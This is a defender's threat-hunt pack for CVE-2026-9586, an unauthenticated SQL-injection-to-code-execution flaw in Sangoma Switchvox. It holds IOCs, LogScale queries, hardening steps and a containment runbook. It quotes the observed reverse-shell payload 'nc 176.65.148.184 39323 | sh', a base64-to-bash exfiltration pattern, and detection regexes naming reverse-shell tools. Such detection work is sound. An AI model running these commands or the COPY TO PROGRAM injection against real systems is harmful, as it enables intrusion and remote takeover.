Sangoma Switchvox CVE-2026-9586 — Unauthenticated SQLi-to-RCE via /pa
Executive Summary
Sangoma Switchvox SMB Edition, an Asterisk-based VoIP/PBX appliance commonly deployed on-premises or as a VMware/Hyper-V virtual machine, ships an HTTP endpoint (/pa) meant to receive XML provisioning notifications from Polycom IP phones. The endpoint's handler (PhoneAppsHandler.pm, function tel_notify()) takes the PhoneIP value out of the incoming XML with no authentication and no sanitization, and concatenates it directly into an unparameterized PostgreSQL query. Because the query executes as the PostgreSQL superuser, an attacker can escape the string context and inject a COPY ... TO PROGRAM statement, which PostgreSQL will happily hand to the OS shell — turning a single unauthenticated HTTP POST into full remote code execution on the appliance.
Horizon3.ai discovered and reported the flaw (along with 11 lower-severity findings) to Sangoma on 2026-04-10; Sangoma shipped the fix in Switchvox 8.4.0.2 on 2026-07-14. Horizon3, working with Defused Cyber, had internet honeypots up before the patch shipped, and on 2026-08-30 those honeypots began seeing real-world exploitation from a single source IP (176.65.148.184): the attacker dropped a raw nc reverse shell on TCP/39323, then ran a base64-wrapped process-enumeration command. CISA added CVE-2026-9586 to the Known Exploited Vulnerabilities catalog on 2026-09-02. Field Effect and Horizon3 both report the attack has since broadened to dozens of source IPs and includes second-stage payload delivery that researchers describe as consistent with a cryptominer.
Because Switchvox is a general-purpose Linux host — not locked-down firmware — it can run a Falcon sensor, and process/network telemetry on the box is a first-class hunt surface: PostgreSQL should essentially never spawn a shell interpreter, and the box should essentially never make outbound connections to non-business destinations on odd high ports. The single highest-value defensive action is patching to 8.4.0.2 and restricting network reachability to /pa; the single highest-value detective action is alerting on postgres (or the web/app stack fronting it) spawning a shell, network tool, or downloader.
Defender priority: assume any internet-reachable Switchvox instance still on 8.3.x or earlier has already been probed. Patch to 8.4.0.2 immediately, hunt for reverse-shell and process-enumeration artifacts on the appliance now, and treat the box as a likely pivot point into the rest of the environment rather than an isolated asset.
Source Review & Web Hunter Notes
Six sources were fetched and saved as verbatim text snapshots for provenance (see §18 References and the Sangoma-Switchvox-CVE-2026-9586-Hunt-sources/ folder). Two (The Hacker News, IONIX) returned as condensed extractions rather than full-page verbatim text via the fetch tool; both are retained as corroboration only, and no atomic indicator in this pack relies on them exclusively.
| Source | Role | Key contribution |
|---|---|---|
| Horizon3.ai (disclosure) | Primary technical | Root-cause detail (PhoneAppsHandler.pm / tel_notify()), timeline, PoC shape, wild exploitation IOCs (176.65.148.184, port 39323, db-quirks.log) |
| Help Net Security | Journalism, vendor quotes | Confirms exploitation start date, attacker follow-on cryptominer download, Shodan exposure figure (~4,000) |
| BleepingComputer | Journalism | Confirms IOC set, restates remediation guidance and log path |
| The Hacker News | Journalism (corroboration) | Confirms CVSS 9.3, impact scope (privilege escalation, cookie signing key exposure) |
| Field Effect | Threat intel / hardening angle | Deployment-architecture guidance, pivot-risk framing, segmentation recommendations used in §12 |
| IONIX (corroboration) | Vulnerability database | CVSS 4.0 vector string, affected build number (104997), CWE-89 classification |
No source was dropped for prompt-injection content; all six returned analyst-facing threat-intel text with no directives addressed to an AI agent.
Hunt Brief & Attack Chain
Hunt hypotheses
- H1: An attacker has sent (or will send) an unauthenticated crafted XML POST to
/pato inject SQL and reachCOPY ... TO PROGRAM, resulting in a PostgreSQL-spawned OS command on the Switchvox host. - H2: A successful exploitation event produced a reverse shell (raw
nc/bash) back to attacker infrastructure, and/or downloaded a second-stage payload (reported by Horizon3 as consistent with a cryptominer). - H3: The attacker used the shell to enumerate running processes (observed
top -bn1 | awkpattern, base64-wrapped) and exfiltrate the output via an outbound HTTP GET to an attacker-controlled server. - H4: The compromised Switchvox appliance is being used, or will be used, as a pivot point into internal identity, backup, or management infrastructure it is integrated with.
Attack chain
| Stage | Attacker action | Host-side artifact |
|---|---|---|
| 1. Reconnaissance | Shodan/mass-scan for internet-exposed Switchvox instances (~4,000 identified by researchers) | Inbound HTTP requests to /pa from unrecognized sources |
| 2. Exploitation (T1190) | Unauthenticated POST to /pa with XML body beginning <PolycomIPPhone>, PhoneIP field carrying an injected SQL fragment | SQL injection markers / stacked-query artifacts in /var/log/switchvox/db-quirks.log |
| 3. Execution (T1059.004) | Injected SQL invokes COPY (...) TO PROGRAM '...', executing an OS command as the PostgreSQL service account | postgres process spawns a shell interpreter (sh/bash) or network tool as a direct child |
| 4. C2 / Access (T1571) | Reverse shell established to attacker infrastructure on a non-standard TCP port (observed: 39323) | Outbound NetworkConnectIP4 from the spawned shell/nc process to an external address |
| 5. Discovery (T1057) | Base64-wrapped enumeration of running processes, results exfiltrated via HTTP GET to attacker infrastructure | bash/sh child running a base64 -d | bash pipeline; outbound curl to an unfamiliar host |
| 6. Ingress Tool Transfer / Impact (T1105 / T1496) | Second-stage payload downloaded and executed — researchers report indications of a cryptominer | curl/wget child of postgres/shell downloading to /tmp or /dev/shm, followed by a new long-running unrecognized process |
Consolidated IOC Table
| Type | Value | Confidence | Action | Context |
|---|---|---|---|---|
| CVE | CVE-2026-9586 | high | hunt | Unauthenticated SQLi → RCE via /pa; CVSS 9.3 / CVSS:4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| IPv4 | 176.65.148.184 | high | detect | Source of rapid-succession exploitation attempts across multiple honeypots (2026-08-30); dropped initial nc reverse shell payload |
| Port | 39323/tcp | high | hunt | Reverse shell callback port paired with 176.65.148.184 in the initial observed payload (nc 176.65.148.184 39323 | sh) |
| File path | /var/log/switchvox/db-quirks.log | high | hunt | Switchvox application log where SQL injection / COPY ... TO PROGRAM artifacts are recorded |
| Endpoint | /pa | high | hunt | Vulnerable unauthenticated HTTP endpoint (PhoneAppsHandler.pm, tel_notify()) |
| Behavior | echo <base64> | base64 -d | bash | high | hunt | Wild process-enumeration exfil pattern; decodes to top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}' |
| File hash | not yet published | low | enrich | Second-stage payload reported as consistent with a cryptominer; no hash disclosed by researchers as of 2026-09-09 — tracked as REPLACE_WITH_SHA256 in §10 |
| Software version | Switchvox SMB 8.3 (build 104997) and prior | high | hunt | Vulnerable version range; fixed in 8.4.0.2 (released 2026-07-14) |
| Exposure metric | ~4,000 internet-exposed instances (Shodan) | medium | enrich | Most located in the United States; scale of the addressable attack surface |
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap / notes |
|---|---|---|---|
| /pa HTTP endpoint (unauthenticated) | Web/reverse-proxy access log ingest (Apache/nginx) into Falcon NG-SIEM, if configured | Critical | Gap: many deployments do not forward Switchvox web logs off-box; native OS process telemetry (below) is the reliable fallback |
| PostgreSQL backend (runs injected SQL, incl. COPY TO PROGRAM) | Falcon Linux sensor — ProcessRollup2 / SyntheticProcessRollup2 (postgres parent-child relationships) | Critical | Requires a healthy Falcon sensor deployed on the Switchvox Linux host — confirm this in §11 |
| OS shell / command execution (post-injection RCE) | Falcon Linux sensor — process telemetry, command-line capture | Critical | None — this is the core coverage of §8 Q1–Q3 |
| Outbound network (reverse shell, exfil, second-stage download) | Falcon Linux sensor — NetworkConnectIP4 | High | None — covered by §8 Q5–Q7 |
| Switchvox application log | /var/log/switchvox/db-quirks.log — not natively Falcon telemetry | High | Gap: requires manual review or log-forwarder onboarding; see §7 native hunts |
| Downstream integrations (AD/LDAP, backup, management platforms) | Identity Protection / AD auth telemetry, if licensed | Medium | Gap: pivot-risk detection depends on whether Switchvox integration accounts are visible to identity telemetry |
ATT&CK Mapping
| Tactic | Technique | Behavior | Query / Control |
|---|---|---|---|
| Initial Access | T1190 — Exploit Public-Facing Application | Unauthenticated crafted XML POST to /pa exploiting the PhoneIP SQLi | Q8 (web log); patch 8.4.0.2; §12/§13 network controls |
| Execution | T1059.004 — Command and Scripting Interpreter: Unix Shell | SQLi → COPY TO PROGRAM spawns /bin/bash or sh as a child of postgres | Q1, Q2, Q3 |
| Command and Control | T1571 — Non-Standard Port | Reverse shell callback on TCP/39323 (observed) or other non-standard high port | Q5, Q6 |
| Discovery | T1057 — Process Discovery | Base64-wrapped top -bn1 | awk process enumeration, exfiltrated via HTTP | Q3 |
| Command and Control / Resource Development | T1105 — Ingress Tool Transfer | curl/wget download of second-stage payload from postgres or shell parent | Q7 |
| Impact | T1496 — Resource Hijacking | Second-stage payload reported consistent with a cryptominer | Q7 (same artifact); host resource-utilization monitoring |
Native Audit-Log Hunts
These checks run directly on (or against) the Switchvox appliance and do not depend on Falcon telemetry. Run them as part of initial triage on any internet-reachable Switchvox host, especially anything still on 8.3.x or earlier.
- Version check: confirm the installed Switchvox build. Anything at or below SMB 8.3 (build 104997) is vulnerable; the fix ships in 8.4.0.2.
- db-quirks.log review: grep
/var/log/switchvox/db-quirks.logforCOPY,TO PROGRAM, or unexpected single-quote/semicolon sequences in logged SQL — these are the SQLi fingerprint Horizon3 documented. - Listening-socket audit:
ss -tulpn/netstat -tulpnfor unexpected listeners bound bypostgres,perl,httpd/apache2, or unrecognized binaries. - Cron / persistence audit: review
crontab -lfor the appliance's service accounts and/etc/cron.dfor entries added outside a known maintenance window. - Process tree snapshot:
ps auxflooking for shell interpreters,nc/ncat, or unfamiliar long-running binaries parented bypostgresor the web stack. - Recent file writes: check
/tmp,/var/tmp, and/dev/shmfor recently created executables or scripts — common drop locations for a COPY TO PROGRAM-delivered payload. - Admin/user record audit: review Switchvox admin accounts and any AD/LDAP-integrated identities for unexpected creation or privilege changes, given researcher reporting of possible privilege-escalation-to-admin behavior.
If /pa web-access logs are not currently forwarded off the appliance, onboarding that log source is the single biggest telemetry gap this pack identifies (see §5 and Q8 in §8).
CrowdStrike LogScale CQL Hunt Queries
Looks for: the core execution primitive of CVE-2026-9586 — PostgreSQL's COPY ... TO PROGRAM handing a command straight to the OS shell. A postgres process spawning a shell interpreter, scripting language, or basic network tool is abnormal on almost any host.
// HUNT: postgres spawning shell / scripting / network tooling — CVE-2026-9586 COPY TO PROGRAM primitive // MITRE: T1059.004 | CONF: high FP: low COST: low | REQUIRES: Falcon sensor (Linux) on the Switchvox host // LOOKBACK: 7d (set window in the Falcon time picker) #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | ParentBaseFileName=/^postgres$/i | FileName=/^(sh|bash|dash|nc|ncat|netcat|curl|wget|python|python3|perl|awk|base64)$/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
Looks for: the exact shape of the initial wild payload (nc <ip> <port> | sh) or a shell spawned with -e /bin/sh. FP: some Linux admins legitimately use nc for one-off diagnostics; exclude known jump-host / bastion admin workstations if they routinely run nc for troubleshooting.
// HUNT: nc/ncat piping to or spawning a shell — reverse-shell execution pattern // MITRE: T1059.004, T1571 | CONF: high FP: medium COST: low | REQUIRES: Falcon sensor (Linux) // TUNING: exclude known admin/bastion hosts where nc is used for legitimate port-diagnostics; review any hit's ParentBaseFileName before escalating // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^(nc|ncat|netcat)$/i | CommandLine=/(-e\s+\/bin\/(ba)?sh|\|\s*(ba)?sh\b)/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
Looks for: the specific post-exploitation reconnaissance pattern Horizon3 documented — a base64-encoded command decoded and piped to bash, matching the observed top -bn1 | awk process-enumeration payload.
// HUNT: base64-encoded command decoded and executed via bash — wild post-exploitation recon pattern // MITRE: T1057 | CONF: high FP: low COST: low | REQUIRES: Falcon sensor (Linux) // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | FileName=/^(bash|sh)$/i | CommandLine=/echo\s+[A-Za-z0-9+\/=]{20,}\s*\|\s*base64\s+-d\s*\|\s*(ba)?sh/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
Looks for: a wider net around the /pa handler's runtime context — the Apache/nginx/Perl (mod_perl) stack that actually receives the request spawning a shell or basic recon tool, in case the injected command executes in the web-process context rather than directly under postgres. FP: Perl CGI stacks legitimately shell out for some Switchvox provisioning and reporting functions; validate against a known-good baseline of ParentBaseFileName/CommandLine pairs before promoting to a blocking rule.
// HUNT: httpd/apache2/nginx/perl parent spawning a shell or basic recon tool // MITRE: T1190, T1059.004 | CONF: medium FP: med-high COST: low | REQUIRES: Falcon sensor (Linux) // TUNING: baseline legitimate Perl/CGI child processes for 14 days before alerting; exclude known Switchvox maintenance scripts (e.g. scheduled backup/report generators) by CommandLine pattern // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | ParentBaseFileName=/^(httpd|apache2|nginx|perl)$/i | FileName=/^(sh|bash|nc|ncat|curl|wget|python|python3|perl|id|whoami|uname|chmod)$/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, FileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
Looks for: outbound connections to the specific attacker source IP / reverse-shell callback port observed by Horizon3's honeypots (176.65.148.184 on TCP/39323).
// HUNT: outbound connection matching the observed CVE-2026-9586 reverse-shell callback // MITRE: T1571 | CONF: high FP: low COST: low | REQUIRES: Falcon sensor (Linux) network telemetry // LOOKBACK: 30d #event_simpleName=NetworkConnectIP4 | RemotePort=39323 | RemoteAddressIP4=/^176\.65\.148\.184$/ | table([@timestamp, aid, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort, LocalAddressIP4, LocalPort]) | sort(@timestamp, order=desc)
Looks for: a behavioral (non-IOC-dependent) variant of Q5 — any external (non-RFC1918) connection made directly by postgres or a bare shell interpreter, which covers reverse shells to infrastructure not yet reported. FP: postgres can legitimately make outbound connections for replication, logical decoding to an external subscriber, or a configured archive_command target — exclude known replication/backup peer addresses.
// HUNT: postgres or bare shell interpreter making an external (non-RFC1918) network connection // MITRE: T1571 | CONF: medium FP: medium COST: medium | REQUIRES: Falcon sensor (Linux) network telemetry // TUNING: exclude known PostgreSQL replication/archive_command/backup peer addresses; if none are configured for this host, tighten CONF to high // LOOKBACK: 7d #event_simpleName=NetworkConnectIP4 | ContextBaseFileName=/^(postgres|nc|ncat|sh|bash)$/i | !cidr(RemoteAddressIP4, subnet=["10.0.0.0/8","172.16.0.0/12","192.168.0.0/16","127.0.0.0/8","169.254.0.0/16"]) | table([@timestamp, aid, ComputerName, ContextBaseFileName, RemoteAddressIP4, RemotePort]) | sort(@timestamp, order=desc)
Looks for: curl/wget invoked from a postgres or shell parent to fetch a file into a world-writable temp location — the pattern reported for the second-stage (reportedly cryptominer) payload. FP: legitimate Switchvox updates or plugin/codec downloads could match; correlate with a subsequent unrecognized long-running process before escalating.
// HUNT: curl/wget child of postgres/shell downloading into a world-writable temp path // MITRE: T1105, T1496 | CONF: medium FP: medium COST: low | REQUIRES: Falcon sensor (Linux) // TUNING: exclude known Switchvox update/plugin-download maintenance windows; require correlation with a new persistent process (see Q1/Q6) before treating as confirmed compromise // LOOKBACK: 7d #event_simpleName=/ProcessRollup2|SyntheticProcessRollup2/ | ParentBaseFileName=/^(postgres|sh|bash)$/i | FileName=/^(curl|wget)$/i | CommandLine=/(\-o\s*\/(tmp|var\/tmp|dev\/shm)|\-\-output\s*\/(tmp|var\/tmp|dev\/shm))/i | table([@timestamp, aid, ComputerName, ParentBaseFileName, CommandLine, UserName]) | sort(@timestamp, order=desc)
Looks for: requests to the vulnerable /pa endpoint at the web-server/reverse-proxy layer — the earliest possible detection point, before any SQLi has to succeed. Requires an NG-SIEM log source for the Switchvox web/reverse-proxy access log; field and source names below are illustrative (snake_case parser fields) and must be validated against your actual ingest configuration. FP: legitimate Polycom phone provisioning traffic also targets /pa — this query is a volumetric/anomaly starting point, not a standalone verdict; pivot on source IP reputation and request volume.
// HUNT: HTTP POST to the vulnerable /pa endpoint — earliest detection point, pre-SQLi // MITRE: T1190 | CONF: medium FP: low-med COST: low | REQUIRES: web/reverse-proxy access log ingested into Falcon NG-SIEM (NOT native sensor telemetry — validate event/source and field names for your ingest before use) // TUNING: legitimate Polycom phones also call /pa; baseline expected source IPs (your own phone subnet) and alert only on requests from outside that range // LOOKBACK: 7d #event_simpleName=HttpRequestEvent | uri=/^\/pa$/ | http_method=POST | table([@timestamp, src_ip, uri, http_method, http_user_agent]) | sort(@timestamp, order=desc)
Custom IOA Recommendations
| IOA name | Pattern | Exclusions | Deployment path |
|---|---|---|---|
| PostgreSQL Spawns Shell Interpreter | ParentImage matches postgres AND Image matches sh/bash/dash | None expected on Switchvox appliances — postgres should never legitimately spawn an interactive shell | Falcon Console → Endpoint Security → Custom IOA rule groups → Linux → deploy in detect-only for 7 days before block |
| PostgreSQL Spawns Network Tool | ParentImage matches postgres AND Image matches nc/ncat/netcat | DBA diagnostic use of nc from an authorized bastion, if any is documented | Same rule group; pair with Q1/Q2 |
| Web-Stack Process Spawns Recon Utility | ParentImage matches httpd/apache2/nginx/perl AND Image matches id/whoami/uname | Known Switchvox maintenance/report scripts — baseline first per Q4 tuning note | Deploy detect-only; promote after 14-day baseline shows zero legitimate hits |
Machine-Readable IOC Appendix
type,value,action,severity,expiration,description,tags ipv4,176.65.148.184,detect,critical,2027-03-09,CVE-2026-9586 Switchvox SQLi-to-RCE - observed reverse-shell callback source IP,campaign:Switchvox-CVE-2026-9586 sha256,REPLACE_WITH_SHA256,hunt,medium,2026-12-09,Second-stage payload (reported cryptominer) dropped post-exploitation - hash not yet published,campaign:Switchvox-CVE-2026-9586
# Reverse shell callback port observed in the wild (paired with 176.65.148.184)
Port: 39323/tcp
# Initial wild payload observed by Horizon3 honeypots
nc 176.65.148.184 39323 | sh
# Process-enumeration exfil pattern (base64-wrapped)
echo <base64> | base64 -d | bash
# decodes to: top -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'
# Switchvox application log carrying the SQLi fingerprint
/var/log/switchvox/db-quirks.log
# SQL injection marker to grep for in db-quirks.log
COPY (SELECT ...) TO PROGRAM '...'
CVE: CVE-2026-9586 (CVSS 9.3; CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) Vulnerable endpoint: /pa (PhoneAppsHandler.pm -> tel_notify()) Affected: Sangoma Switchvox SMB Edition 8.3 (build 104997) and prior Fixed version: 8.4.0.2 (released 2026-07-14) Exploitation primitive: PostgreSQL COPY ... TO PROGRAM (SQLi-to-OS-command) CISA KEV added: 2026-09-02
# Confirm Switchvox build/version is >= 8.4.0.2 (check admin UI: Settings -> About,
# or the appliance's version file per Sangoma documentation)
# Grep the application log for SQLi/COPY TO PROGRAM markers
grep -i "TO PROGRAM" /var/log/switchvox/db-quirks.log
# Confirm no unexpected listeners
ss -tulpn
# Confirm /pa is not reachable from the open internet (should return connection
# refused/timeout from an untrusted network once firewalled)
curl -m 5 -o /dev/null -s -w "%{http_code}\n" https://SWITCHVOX_HOST/pa
Detection Validation Gates
| Gate | Requirement |
|---|---|
| Telemetry ready | Confirm a Falcon sensor is installed and reporting on the Switchvox Linux host (Falcon Console → Host Management). Confirm whether /pa web-access logs are forwarded to NG-SIEM; if not, this is a tracked gap (§5, §7). |
| Benign baseline | Run Q1, Q4, and Q6 over a 30-day trailing window with no alerting to confirm postgres/web-stack processes on this specific environment never legitimately spawn shells, nc, or make unexpected external connections. |
| Positive test | Do not run a live exploit against a production instance. Validate detections in an isolated lab using a Switchvox 8.3.x instance patched to reproduce only the documented log signature (db-quirks.log SQLi marker) and a manually-launched benign nc/bash child under postgres to confirm Q1/Q2 fire — never execute a functional COPY TO PROGRAM payload outside an isolated lab. |
| Promotion | Move Q1, Q3, Q5 from hunt to standing detection after the benign baseline returns zero legitimate hits for 14 consecutive days. Q2, Q4, Q6, Q7 stay in hunt/detect-and-review mode until the TUNING exclusions above have been validated against this environment's actual baseline. |
Hardening — Tiered
- Patch every internet-reachable and internal Switchvox instance to 8.4.0.2 or later — this is the single action that closes CVE-2026-9586. (MITRE M1051 — Update Software; Sangoma vendor advisory/release notes for 8.4.0.2)
- If patching cannot happen immediately, restrict network access to the Switchvox web interface and specifically the
/paendpoint to trusted management networks only (firewall ACL or reverse-proxy allowlist). (MITRE M1037 — Filter Network Traffic) - Deploy or verify a healthy Falcon sensor on the Switchvox Linux host — it is a general-purpose Linux appliance/VM and fully supports EDR. (supports MITRE M1047 — Audit)
- Run the §7 native hunts and §10 patch/exposure audit checklist against every known Switchvox instance now, regardless of patch status, to rule out prior compromise. (MITRE M1047 — Audit; CIS Controls v8, Control 7 — Continuous Vulnerability Management)
- Segment the VoIP/PBX appliance onto its own VLAN, isolated from AD, backup, and management infrastructure — researchers specifically flag Switchvox as valuable as a pivot point, not just a target. (MITRE M1030 — Network Segmentation; CIS Controls v8, Control 12 — Network Infrastructure Management)
- Rotate any credentials or integration secrets the appliance holds (AD/LDAP service accounts, cookie signing keys, backup credentials) if there is any indication of prior exposure. (MITRE M1026 — Privileged Account Management)
- Review Switchvox admin accounts and any AD/LDAP-integrated identities for unexpected creation, privilege changes, or recent unusual authentication. (MITRE M1018 — User Account Management)
- Onboard the Switchvox web/reverse-proxy access log to your SIEM/NG-SIEM if not already centralized, to close the Q8 telemetry gap. (MITRE M1047 — Audit)
- Implement default-deny egress from the appliance's subnet, allowing only the specific destinations the appliance legitimately requires (updates, licensing, SIP trunking, NTP). (MITRE M1037 — Filter Network Traffic)
- Treat all internet-facing VoIP/PBX and other edge appliances as untrusted by default — front them with a WAF or reverse proxy capable of input validation and endpoint allowlisting, not direct exposure. (MITRE M1037 — Filter Network Traffic; CIS Controls v8, Control 4 — Secure Configuration of Enterprise Assets)
- Maintain an inventory of Sangoma products in the environment (Switchvox, FreePBX, and related Digium-derived platforms) — this vulnerability follows a pattern of related findings across the Sangoma ecosystem, and future disclosures are likely. (CIS Controls v8, Control 1 — Inventory and Control of Enterprise Assets)
- Build and rehearse an incident-response runbook specifically for compromised edge/telephony appliances, including evidence preservation for appliance-specific logs (§14). (CIS Controls v8, Control 17 — Incident Response Management)
- Periodically re-scan for internet exposure of administrative and provisioning interfaces across all appliance classes, not just Switchvox. (MITRE M1016 — Vulnerability Scanning)
Deployable Playbooks
1. Restrict /pa and the admin UI at the host firewall (iptables)
# Allow only a defined management CIDR to reach the Switchvox web interface; # drop everything else. Replace 203.0.113.0/24 with your actual management range. iptables -A INPUT -p tcp --dport 443 -s 203.0.113.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP iptables -A INPUT -p tcp --dport 80 -s 203.0.113.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 80 -j DROP
2. Reverse-proxy block rule for /pa from non-allowlisted sources (nginx)
location /pa {
allow 203.0.113.0/24; # management / known-phone subnet
deny all;
}
3. Egress allowlist for the appliance subnet (iptables, default-deny)
iptables -A OUTPUT -d 203.0.113.0/24 -j ACCEPT # internal management iptables -A OUTPUT -p udp --dport 123 -j ACCEPT # NTP iptables -A OUTPUT -p tcp --dport 443 -d updates.sangoma.com -j ACCEPT iptables -A OUTPUT -j DROP # default-deny egress
4. Falcon sensor presence/health check (verify before relying on Q1-Q7)
# On the Switchvox Linux host sudo systemctl status falcon-sensor sudo /opt/CrowdStrike/falconctl -g --aid --cid # In the Falcon console: Host Management -> filter by hostname -> confirm # "Last Seen" is recent and sensor status is Normal
Containment Runbook
| Phase | Actions | Owner | Evidence to preserve |
|---|---|---|---|
| Detect | Confirm a Q1-Q8 hit or native-hunt finding; validate it is not a benign baseline match per §11 | SOC / hunt analyst | Query results, timestamps, affected aid/ComputerName |
| Contain | Isolate the Switchvox host at the network layer (Falcon network containment or firewall isolation); do not power off — preserve volatile state | IR lead | Network containment ticket/timestamp; live process list (ps auxf) before isolation completes |
| Eradicate | Patch to 8.4.0.2; kill and remove any dropped reverse-shell or second-stage binaries; remove unauthorized cron entries or admin accounts identified in §7 | Systems/VoIP admin + IR | Copies of removed files/hashes, before/after crontab and admin-account listings |
| Recover | Restore from a known-good backup/snapshot if integrity is in doubt; rotate all credentials and integration secrets the appliance held; re-enable production traffic only after §11 positive-test confirms detections fire | Systems/VoIP admin | Restore log, rotation confirmation, re-enablement approval |
| Post-incident | Root-cause report; confirm no lateral movement into AD/backup/management systems the appliance integrated with; update this pack's Coverage Map and Changelog | IR lead | Root-cause report, lateral-movement hunt results, updated pack version |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1190 | Unauthenticated exploitation of /pa | Q8 (requires web-log ingest) | — | Partial |
| T1059.004 | postgres/web-stack spawns shell via COPY TO PROGRAM | Q1, Q2, Q3, Q4 | Custom IOAs §9 | Good |
| T1571 | Reverse-shell callback on non-standard port | Q5, Q6 | — | Good |
| T1057 | Post-exploitation process enumeration | Q3 | — | Good |
| T1105 / T1496 | Second-stage payload download / cryptominer | Q7 | — | Partial |
| Lateral movement via appliance pivot | Use of Switchvox-held integration secrets against AD/backup/management | — | — | Gap |
Coverage gaps: T1190 (Q8) and pivot-risk lateral movement both depend on telemetry (web-log ingest; identity/AD visibility for Switchvox-held integration accounts) that may not be onboarded in every environment — see §5 and §11 for what to stand up before treating this pack as fully deployed.
Hunt Summary Ticket
TITLE: Hunt for CVE-2026-9586 Sangoma Switchvox SQLi-to-RCE exploitation
SEVERITY: Critical (CVSS 9.3; actively exploited in the wild; CISA KEV)
SCOPE: All Sangoma Switchvox SMB Edition instances (internet-facing and internal),
especially any host still running 8.3.x or earlier
HYPOTHESIS: Attacker sent an unauthenticated crafted XML POST to /pa, triggering
SQL injection and PostgreSQL COPY ... TO PROGRAM to execute OS commands,
establish a reverse shell, enumerate processes, and possibly deploy a
second-stage cryptominer payload
QUERIES: Q1-Q8 (section 8) - postgres/web-stack process spawns, reverse-shell
network callbacks, base64 recon-exfil pattern, second-stage download,
and /pa web-log requests
DO FIRST: (1) confirm Switchvox version and patch to 8.4.0.2 if not current;
(2) confirm Falcon sensor health on the host; (3) grep db-quirks.log for
SQLi/COPY TO PROGRAM markers; (4) run Q1, Q3, Q5 over 30d
FINDINGS: [populate after hunt execution]
GAPS: /pa web-access log ingest not confirmed in all environments (Q8); identity
telemetry for Switchvox-held integration accounts not confirmed (lateral
movement coverage, section 15)
ACTIONS: Patch to 8.4.0.2; restrict /pa network reachability; segment appliance
subnet; rotate integration secrets if any indicator of compromise found
OWNER: [assign hunt owner]
VERSION: v0.1 - 2026-09-09
Changelog
References
| Tier | Source | Used for | Access date |
|---|---|---|---|
| Primary technical disclosure | Horizon3.ai — CVE-2026-9586 Disclosure | Root-cause detail, timeline, wild-exploitation IOCs | 2026-09-09 |
| Journalism | Help Net Security | Exploitation timeline, second-stage cryptominer reporting, exposure figure | 2026-09-09 |
| Journalism | BleepingComputer | IOC corroboration, remediation guidance | 2026-09-09 |
| Journalism (corroboration) | The Hacker News | CVSS confirmation, impact scope corroboration | 2026-09-09 |
| Threat intel / hardening | Field Effect | Deployment-architecture and segmentation guidance | 2026-09-09 |
| Vulnerability database (corroboration) | IONIX Threat Center | CVSS 4.0 vector string, affected build number | 2026-09-09 |
Verbatim source snapshots for the above are saved in Sangoma-Switchvox-CVE-2026-9586-Hunt-sources/ alongside this pack for IOC provenance.